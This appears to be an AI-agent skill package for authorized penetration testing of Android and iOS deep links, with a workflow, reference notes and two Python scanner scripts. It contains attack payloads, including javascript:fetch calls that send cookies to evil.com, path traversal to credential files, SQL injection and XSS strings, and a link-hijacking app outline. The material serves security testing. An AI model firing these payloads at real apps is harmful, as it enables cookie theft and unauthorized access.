npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
When to Use
Use this skill when:
- Assessing mobile app deep link handling for injection and redirect vulnerabilities
- Testing Android intent filters and iOS URL scheme handlers for unauthorized access
- Evaluating App Links (Android) and Universal Links (iOS) verification
- Testing for link hijacking via competing app registrations
Do not use without authorization -- deep link exploitation can trigger unintended actions in target applications.
Prerequisites
- Android device with ADB or iOS device with Objection/Frida
- APK decompiled with apktool or JADX for AndroidManifest.xml analysis
- Knowledge of target app's registered URL schemes and intent filters
- Drozer for Android intent testing
- Burp Suite for intercepting deep link-triggered API calls
Workflow
Step 1: Enumerate Deep Link Entry Points
Android - Extract from AndroidManifest.xml:
# Decompile APK
apktool d target.apk -o decompiled/
# Search for intent filters with deep link schemes
grep -A 10 "android.intent.action.VIEW" decompiled/AndroidManifest.xml
# Look for:
# <data android:scheme="myapp" android:host="action" />
# <data android:scheme="https" android:host="target.com" />iOS - Extract from Info.plist:
# Extract URL schemes
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "CFBundleURLSchemes"
# Extract Universal Links (Associated Domains)
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "com.apple.developer.associated-domains"
# Check: applinks:target.com
# Verify apple-app-site-association file
curl https://target.com/.well-known/apple-app-site-associationStep 2: Test Deep Link Injection
Android via ADB:
# Basic deep link invocation
adb shell am start -a android.intent.action.VIEW \
-d "myapp://dashboard?user_id=1337" com.target.app
# Test with injection payloads
adb shell am start -a android.intent.action.VIEW \
-d "myapp://profile?redirect=https://evil.com" com.target.app
# Test path traversal
adb shell am start -a android.intent.action.VIEW \
-d "myapp://navigate?path=../../../admin" com.target.app
# Test JavaScript injection (if loaded in WebView)
adb shell am start -a android.intent.action.VIEW \
-d "myapp://webview?url=javascript:alert(document.cookie)" com.target.app
# Test with extra intent parameters
adb shell am start -a android.intent.action.VIEW \
-d "myapp://transfer?amount=1000&to=attacker" \
--es extra_param "injected_value" com.target.appiOS via Safari or command line:
# Trigger URL scheme from Safari
# Navigate to: myapp://dashboard?user_id=1337
# Using Frida to invoke
frida -U -n TargetApp -e '
ObjC.classes.UIApplication.sharedApplication()
.openURL_(ObjC.classes.NSURL.URLWithString_("myapp://profile?redirect=https://evil.com"));
'Step 3: Test Link Hijacking
Android:
# Create a malicious app that registers the same URL scheme
# AndroidManifest.xml of attacker app:
# <intent-filter>
# <action android:name="android.intent.action.VIEW" />
# <category android:name="android.intent.category.DEFAULT" />
# <category android:name="android.intent.category.BROWSABLE" />
# <data android:scheme="myapp" />
# </intent-filter>
# When both apps are installed, Android shows a chooser dialog
# On older Android versions, the first-installed app may handle the link
# Check App Links verification (prevents hijacking)
adb shell pm get-app-links com.target.app
# Status: verified = secure
# Status: undefined = vulnerable to hijackingStep 4: Test WebView Deep Link Loading
# If deep links load URLs in WebView, test for:
# 1. Open redirect
adb shell am start -d "myapp://open?url=https://evil.com" com.target.app
# 2. File access
adb shell am start -d "myapp://open?url=file:///data/data/com.target.app/shared_prefs/creds.xml"
# 3. JavaScript execution in WebView
adb shell am start -d "myapp://open?url=javascript:fetch('https://evil.com/steal?cookie='+document.cookie)"Step 5: Assess Parameter Validation
Test each deep link parameter for:
- SQL injection in parameters that query local databases
- Path traversal in file path parameters
- SSRF in URL parameters that trigger server requests
- Authentication bypass via user_id or session parameters
Key Concepts
| Term | Definition |
|---|---|
| Custom URL Scheme | App-registered protocol (myapp://) that routes to specific app handlers when invoked |
| App Links (Android) | Verified HTTPS deep links that bypass the chooser dialog and open directly in the verified app |
| Universal Links (iOS) | Apple's verified deep linking using apple-app-site-association JSON file on the web domain |
| Intent Hijacking | Malicious app intercepting deep links by registering the same URL scheme or intent filter |
| WebView Bridge | JavaScript interface exposed to WebView content, potentially accessible via deep link-loaded URLs |
Tools & Systems
- ADB: Android command-line tool for invoking deep links via
am start - Drozer: Android security framework for testing intent-based attack surface
- apktool: APK decompiler for extracting AndroidManifest.xml and intent filter definitions
- Frida: Dynamic instrumentation for hooking URL scheme handlers at runtime
- Burp Suite: Proxy for intercepting API calls triggered by deep link navigation
Common Pitfalls
- App Links verification: Android App Links with verified domain associations are resistant to hijacking. Check
assetlinks.jsonathttps://domain/.well-known/assetlinks.json. - Fragment handling: Some apps process URL fragments (#) differently than query parameters (?). Test both.
- Encoding bypass: URL-encode payloads to bypass client-side input filtering in deep link handlers.
- Multi-step deep links: Some deep links require authentication state. Test after login and before login to assess authorization enforcement.
References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 3
api-reference.md2.5 KB
API Reference: Deep Link Vulnerability Testing
Android Deep Links
AndroidManifest.xml Configuration
<activity android:name=".DeepLinkActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="myapp" android:host="open"/>
</intent-filter>
</activity>ADB Testing
adb shell am start -W -a android.intent.action.VIEW \
-d "myapp://open/path?param=value" com.target.appIntent URI Scheme
intent://path#Intent;scheme=myapp;package=com.target.app;endiOS URL Schemes
Info.plist Configuration
<key>CFBundleURLTypes</key>
<array>
<dict>
<key>CFBundleURLSchemes</key>
<array>
<string>myapp</string>
</array>
</dict>
</array>Universal Links (apple-app-site-association)
{
"applinks": {
"apps": [],
"details": [{
"appID": "TEAM_ID.com.example.app",
"paths": ["/open/*", "/product/*"]
}]
}
}Vulnerability Types
| Type | Risk | Description |
|---|---|---|
| Open Redirect | HIGH | Deep link redirects to attacker URL |
| JavaScript Injection | CRITICAL | Code execution in WebView |
| Parameter Theft | HIGH | Token/credential exfiltration |
| Intent Redirect | HIGH | Android intent hijacking |
| Path Traversal | MEDIUM | Access unintended app sections |
Attack Payloads
Open Redirect
myapp://open?redirect=https://evil.com
myapp://open?url=javascript:alert(document.cookie)WebView JavaScript
myapp://webview?url=javascript:fetch('https://evil.com/'+document.cookie)Parameter Injection
myapp://auth?token=stolen&callback=https://evil.comFrida — Runtime Deep Link Testing
Hook URL Handler (Android)
Java.perform(function() {
var Activity = Java.use("android.app.Activity");
Activity.onNewIntent.implementation = function(intent) {
console.log("Deep link: " + intent.getData().toString());
this.onNewIntent(intent);
};
});Hook URL Handler (iOS)
var handler = ObjC.classes.AppDelegate["- application:openURL:options:"];
Interceptor.attach(handler.implementation, {
onEnter: function(args) {
var url = ObjC.Object(args[3]);
console.log("URL scheme: " + url.toString());
}
});standards.md1.0 KB
Standards Reference: Deep Link Vulnerabilities
OWASP Mobile Top 10 2024
| ID | Risk | Deep Link Relevance |
|---|---|---|
| M4 | Insufficient Input/Output Validation | Injection via deep link parameters |
| M8 | Security Misconfiguration | Unverified App Links, missing scheme validation |
OWASP MASVS v2.0 - MASVS-PLATFORM
| Control | Test |
|---|---|
| MASVS-PLATFORM-1 | App validates deep link parameters before processing |
| MASVS-PLATFORM-2 | App does not expose sensitive functionality via URL schemes |
CWE Mappings
| CWE | Title | Attack Vector |
|---|---|---|
| CWE-939 | Improper Authorization in Handler for Custom URL Scheme | Scheme hijacking |
| CWE-940 | Improper Verification of Source in URL Scheme Handler | Missing origin validation |
| CWE-79 | Cross-site Scripting | JavaScript injection via WebView deep links |
| CWE-601 | URL Redirection to Untrusted Site | Open redirect via URL parameter |
workflows.md1.3 KB
Workflows: Deep Link Vulnerability Testing
Workflow 1: Deep Link Assessment
[Extract Manifest/Plist] --> [Enumerate schemes] --> [Test each deep link]
|
+--------------+--------------+
| | |
[Parameter injection] [Redirect test] [WebView loading]
[SQL/XSS/Path trav] [Open redirect] [JS injection]
| | |
+--------------+--------------+
|
[Link hijacking test]
[App Links verification]
[Report findings]Decision Matrix
| Scheme Type | Hijacking Risk | Mitigation |
|---|---|---|
| Custom (myapp://) | HIGH - any app can register | Validate calling app, use App Links |
| App Links (verified) | LOW - domain verified | Ensure assetlinks.json is correct |
| Universal Links | LOW - domain verified | Ensure AASA file is correct |
Scripts 2
agent.py4.8 KB
#!/usr/bin/env python3
"""Agent for testing deep link / custom URL scheme vulnerabilities in mobile apps."""
import argparse
import json
import re
import subprocess
from datetime import datetime, timezone
ANDROID_SCHEME_PATTERN = re.compile(
r'<intent-filter[^>]*>.*?<data\s+android:scheme="([^"]+)".*?</intent-filter>',
re.DOTALL
)
ANDROID_HOST_PATTERN = re.compile(r'android:host="([^"]+)"')
IOS_SCHEME_PATTERN = re.compile(r'<string>(\w+)</string>\s*</array>\s*<key>CFBundleURLName')
IOS_UNIVERSAL_PATTERN = re.compile(r'"applinks:\s*([\w.-]+)"')
def analyze_android_manifest(manifest_path):
"""Parse AndroidManifest.xml for deep link configurations."""
findings = []
try:
with open(manifest_path, "r", errors="replace") as f:
content = f.read()
except FileNotFoundError:
return findings
for match in ANDROID_SCHEME_PATTERN.finditer(content):
block = match.group(0)
scheme = match.group(1)
hosts = ANDROID_HOST_PATTERN.findall(block)
exported = "android:exported=\"true\"" in block or "android:exported" not in block
findings.append({
"scheme": scheme,
"hosts": hosts,
"exported": exported,
"block": block[:200],
"risk": "HIGH" if exported and scheme not in ("https", "http") else "MEDIUM",
})
return findings
def analyze_ios_plist(plist_path):
"""Parse iOS Info.plist for URL scheme and universal link configurations."""
findings = []
try:
with open(plist_path, "r", errors="replace") as f:
content = f.read()
except FileNotFoundError:
return findings
for match in IOS_SCHEME_PATTERN.finditer(content):
findings.append({
"type": "custom_url_scheme",
"scheme": match.group(1),
"risk": "HIGH",
"note": "Custom URL schemes lack origin verification",
})
for match in IOS_UNIVERSAL_PATTERN.finditer(content):
findings.append({
"type": "universal_link",
"domain": match.group(1),
"risk": "LOW",
"note": "Universal links verify domain ownership",
})
return findings
def test_deep_link_injection(scheme, host, path, payload):
"""Construct and test a deep link injection payload."""
test_url = f"{scheme}://{host}{path}{payload}"
return {
"test_url": test_url,
"payload": payload,
"vectors": [
"Open redirect via deep link",
"JavaScript execution in WebView",
"Parameter injection",
"Intent redirection (Android)",
],
}
def check_adb_deep_link(package, uri):
"""Test Android deep link via ADB."""
cmd = ["adb", "shell", "am", "start", "-W",
"-a", "android.intent.action.VIEW",
"-d", uri, package]
try:
result = subprocess.check_output(cmd, text=True, errors="replace", timeout=15)
return {"uri": uri, "status": "launched", "output": result[:300]}
except (subprocess.SubprocessError, FileNotFoundError):
return {"uri": uri, "status": "failed"}
def main():
parser = argparse.ArgumentParser(
description="Test deep link / URL scheme vulnerabilities (authorized testing only)"
)
parser.add_argument("--android-manifest", help="Path to AndroidManifest.xml")
parser.add_argument("--ios-plist", help="Path to Info.plist")
parser.add_argument("--test-scheme", help="URL scheme to test")
parser.add_argument("--test-host", help="Host for deep link test")
parser.add_argument("--output", "-o", help="Output JSON report")
args = parser.parse_args()
print("[*] Deep Link Vulnerability Testing Agent")
report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []}
if args.android_manifest:
android = analyze_android_manifest(args.android_manifest)
report["findings"].extend(android)
print(f"[*] Android deep links found: {len(android)}")
if args.ios_plist:
ios = analyze_ios_plist(args.ios_plist)
report["findings"].extend(ios)
print(f"[*] iOS URL schemes found: {len(ios)}")
if args.test_scheme and args.test_host:
payloads = [
"?redirect=https://evil.com",
"#javascript:alert(1)",
"?token=stolen&callback=https://evil.com",
"/../../sensitive-path",
]
for p in payloads:
result = test_deep_link_injection(args.test_scheme, args.test_host, "/", p)
report["findings"].append(result)
report["risk_level"] = "HIGH" if report["findings"] else "LOW"
if args.output:
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
print(f"[*] Report saved to {args.output}")
else:
print(json.dumps(report, indent=2))
if __name__ == "__main__":
main()
process.py6.1 KB
#!/usr/bin/env python3
"""
Deep Link Vulnerability Scanner
Extracts deep link definitions from AndroidManifest.xml and tests for common vulnerabilities.
Usage:
python process.py --manifest AndroidManifest.xml [--package com.target.app] [--output report.json]
"""
import argparse
import json
import subprocess
import sys
import xml.etree.ElementTree as ET
from datetime import datetime
from pathlib import Path
def extract_deep_links(manifest_path: str) -> list:
"""Extract deep link definitions from AndroidManifest.xml."""
tree = ET.parse(manifest_path)
root = tree.getroot()
ns = {"android": "http://schemas.android.com/apk/res/android"}
deep_links = []
for activity in root.findall(".//activity"):
activity_name = activity.get(f"{{{ns['android']}}}name", "unknown")
exported = activity.get(f"{{{ns['android']}}}exported", "false")
for intent_filter in activity.findall("intent-filter"):
actions = [a.get(f"{{{ns['android']}}}name", "") for a in intent_filter.findall("action")]
categories = [c.get(f"{{{ns['android']}}}name", "") for c in intent_filter.findall("category")]
if "android.intent.action.VIEW" not in actions:
continue
for data in intent_filter.findall("data"):
scheme = data.get(f"{{{ns['android']}}}scheme", "")
host = data.get(f"{{{ns['android']}}}host", "")
path = data.get(f"{{{ns['android']}}}path", "")
path_prefix = data.get(f"{{{ns['android']}}}pathPrefix", "")
path_pattern = data.get(f"{{{ns['android']}}}pathPattern", "")
if scheme:
deep_links.append({
"activity": activity_name,
"exported": exported,
"scheme": scheme,
"host": host,
"path": path or path_prefix or path_pattern or "/",
"browsable": "android.intent.category.BROWSABLE" in categories,
"url": f"{scheme}://{host}{path or path_prefix or path_pattern or '/'}",
})
return deep_links
def assess_deep_link_security(deep_links: list) -> list:
"""Assess security of discovered deep links."""
findings = []
for link in deep_links:
issues = []
# Custom scheme (not https) - hijacking risk
if link["scheme"] not in ("http", "https"):
issues.append({
"issue": "custom_scheme_hijackable",
"severity": "HIGH",
"description": f"Custom scheme '{link['scheme']}://' can be registered by any app",
})
# Exported activity without specific path
if link["exported"] == "true" and link["path"] == "/":
issues.append({
"issue": "broad_path_matching",
"severity": "MEDIUM",
"description": "Activity matches all paths - wide attack surface",
})
# Browsable without verified links
if link["browsable"] and link["scheme"] not in ("http", "https"):
issues.append({
"issue": "browsable_custom_scheme",
"severity": "MEDIUM",
"description": "Browsable intent with custom scheme invocable from web browsers",
})
if issues:
findings.append({
"deep_link": link["url"],
"activity": link["activity"],
"issues": issues,
})
return findings
def generate_test_commands(deep_links: list, package: str) -> list:
"""Generate ADB commands for testing deep links."""
commands = []
injection_payloads = [
("redirect_test", "?redirect=https://evil.com"),
("xss_test", "?q=<script>alert(1)</script>"),
("path_traversal", "/../../../etc/passwd"),
("sql_injection", "?id=1' OR '1'='1"),
]
for link in deep_links:
base_url = link["url"]
# Basic invocation
commands.append({
"name": f"invoke_{link['activity']}",
"command": f'adb shell am start -a android.intent.action.VIEW -d "{base_url}" {package}',
"type": "basic",
})
# Injection tests
for test_name, payload in injection_payloads:
commands.append({
"name": f"{test_name}_{link['activity']}",
"command": f'adb shell am start -a android.intent.action.VIEW -d "{base_url}{payload}" {package}',
"type": test_name,
})
return commands
def main():
parser = argparse.ArgumentParser(description="Deep Link Vulnerability Scanner")
parser.add_argument("--manifest", required=True, help="Path to AndroidManifest.xml")
parser.add_argument("--package", default="com.target.app", help="Package name")
parser.add_argument("--output", default="deeplink_report.json", help="Output report")
args = parser.parse_args()
if not Path(args.manifest).exists():
print(f"[-] File not found: {args.manifest}")
sys.exit(1)
print("[*] Extracting deep links...")
deep_links = extract_deep_links(args.manifest)
print(f"[+] Found {len(deep_links)} deep link definitions")
print("[*] Assessing security...")
findings = assess_deep_link_security(deep_links)
print("[*] Generating test commands...")
commands = generate_test_commands(deep_links, args.package)
report = {
"scan": {
"manifest": args.manifest,
"package": args.package,
"date": datetime.now().isoformat(),
},
"deep_links": deep_links,
"findings": findings,
"test_commands": commands,
"summary": {
"total_deep_links": len(deep_links),
"total_findings": len(findings),
"test_commands_generated": len(commands),
},
}
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
print(f"[+] Report saved: {args.output}")
for f in findings:
for issue in f["issues"]:
print(f" [{issue['severity']}] {f['deep_link']}: {issue['issue']}")
if __name__ == "__main__":
main()